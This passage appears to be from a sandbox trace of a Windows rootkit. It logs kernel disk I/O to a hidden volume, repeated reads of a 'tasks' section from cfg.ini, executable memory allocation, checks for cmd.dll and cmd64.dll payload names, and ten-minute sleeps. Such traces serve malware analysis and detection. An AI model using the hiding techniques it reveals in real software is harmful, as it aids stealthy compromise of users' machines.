returned 0xfffffa8007ffba30 [0127.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.136] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.136] IdePortDispatch () returned 0x103 [0127.136] KeWaitForMutexObject () returned 0x0 [0127.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.136] KeLeaveCriticalRegion () [0127.136] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.136] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.136] KeEnterCriticalRegion () [0127.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.136] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.136] KeLeaveCriticalRegion () [0127.136] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.136] KeEnterCriticalRegion () [0127.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.136] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.136] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc930, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.136] KeLeaveCriticalRegion () [0127.136] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.136] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.137] KeEnterCriticalRegion () [0127.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.137] ExFreePoolWithTag (P=0xfffffa8002adc810, Tag=0x0) [0127.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.137] KeLeaveCriticalRegion () [0127.137] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.137] ReleaseMutex (hMutex=0xf0) returned 1 [0127.137] Sleep (dwMilliseconds=0x927c0) [0127.155] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.155] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.155] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.155] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.155] KeEnterCriticalRegion () [0127.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.155] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.155] IdePortDispatch () returned 0x103 [0127.155] KeWaitForMutexObject () returned 0x0 [0127.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.155] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.155] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.155] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.156] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.156] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc810 [0127.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.156] KeLeaveCriticalRegion () [0127.156] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.156] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.156] KeEnterCriticalRegion () [0127.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.156] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.156] KeLeaveCriticalRegion () [0127.156] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.156] KeEnterCriticalRegion () [0127.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.156] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.156] IdePortDispatch () returned 0x103 [0127.156] KeWaitForMutexObject () returned 0x0 [0127.156] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.156] KeLeaveCriticalRegion () [0127.156] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.157] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.157] KeEnterCriticalRegion () [0127.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.157] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b90000 [0127.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.157] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.157] IdePortDispatch () returned 0x103 [0127.157] KeWaitForMutexObject () returned 0x0 [0127.157] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.157] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.157] IdePortDispatch () returned 0x103 [0127.157] KeWaitForMutexObject () returned 0x0 [0127.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.157] KeLeaveCriticalRegion () [0127.157] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.158] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.158] KeEnterCriticalRegion () [0127.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.158] KeLeaveCriticalRegion () [0127.158] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.158] KeEnterCriticalRegion () [0127.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.158] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.158] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.158] KeLeaveCriticalRegion () [0127.158] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.158] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.159] KeEnterCriticalRegion () [0127.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.159] ExFreePoolWithTag (P=0xfffffa8002adc810, Tag=0x0) [0127.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.159] KeLeaveCriticalRegion () [0127.159] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.159] ReleaseMutex (hMutex=0xf0) returned 1 [0127.159] Sleep (dwMilliseconds=0x927c0) [0127.166] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.166] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.174] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.174] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.174] KeEnterCriticalRegion () [0127.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.174] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.174] IdePortDispatch () returned 0x103 [0127.175] KeWaitForMutexObject () returned 0x0 [0127.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.175] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.175] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.175] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.175] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.175] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.175] KeLeaveCriticalRegion () [0127.175] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.175] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.175] KeEnterCriticalRegion () [0127.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.175] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.175] KeLeaveCriticalRegion () [0127.175] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.175] KeEnterCriticalRegion () [0127.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.175] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.175] IdePortDispatch () returned 0x103 [0127.176] KeWaitForMutexObject () returned 0x0 [0127.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.176] KeLeaveCriticalRegion () [0127.176] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.176] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.176] KeEnterCriticalRegion () [0127.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.176] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b94000 [0127.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.176] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.176] IdePortDispatch () returned 0x103 [0127.176] KeWaitForMutexObject () returned 0x0 [0127.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.176] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.176] IdePortDispatch () returned 0x103 [0127.177] KeWaitForMutexObject () returned 0x0 [0127.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.177] KeLeaveCriticalRegion () [0127.177] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.177] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.177] KeEnterCriticalRegion () [0127.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.178] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.178] KeLeaveCriticalRegion () [0127.178] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.178] KeEnterCriticalRegion () [0127.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.178] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.178] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adc9b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.178] KeLeaveCriticalRegion () [0127.178] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.178] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.178] KeEnterCriticalRegion () [0127.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.178] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.178] KeLeaveCriticalRegion () [0127.178] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.178] ReleaseMutex (hMutex=0xf0) returned 1 [0127.178] Sleep (dwMilliseconds=0x927c0) [0127.192] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.192] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.192] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.192] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.192] KeEnterCriticalRegion () [0127.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.192] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.192] IdePortDispatch () returned 0x103 [0127.193] KeWaitForMutexObject () returned 0x0 [0127.193] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.193] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.193] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.193] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.193] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.193] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7390 [0127.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.193] KeLeaveCriticalRegion () [0127.193] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.193] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.193] KeEnterCriticalRegion () [0127.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.193] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.193] KeLeaveCriticalRegion () [0127.193] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.193] KeEnterCriticalRegion () [0127.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.193] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.193] IdePortDispatch () returned 0x103 [0127.194] KeWaitForMutexObject () returned 0x0 [0127.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.194] KeLeaveCriticalRegion () [0127.194] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.194] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.194] KeEnterCriticalRegion () [0127.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b97000 [0127.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.194] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.194] IdePortDispatch () returned 0x103 [0127.194] KeWaitForMutexObject () returned 0x0 [0127.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.195] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.195] IdePortDispatch () returned 0x103 [0127.195] KeWaitForMutexObject () returned 0x0 [0127.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.195] KeLeaveCriticalRegion () [0127.195] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.195] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.196] KeEnterCriticalRegion () [0127.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.196] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.196] KeLeaveCriticalRegion () [0127.196] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.196] KeEnterCriticalRegion () [0127.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.196] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.196] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.196] KeLeaveCriticalRegion () [0127.196] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.196] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.196] KeEnterCriticalRegion () [0127.196] 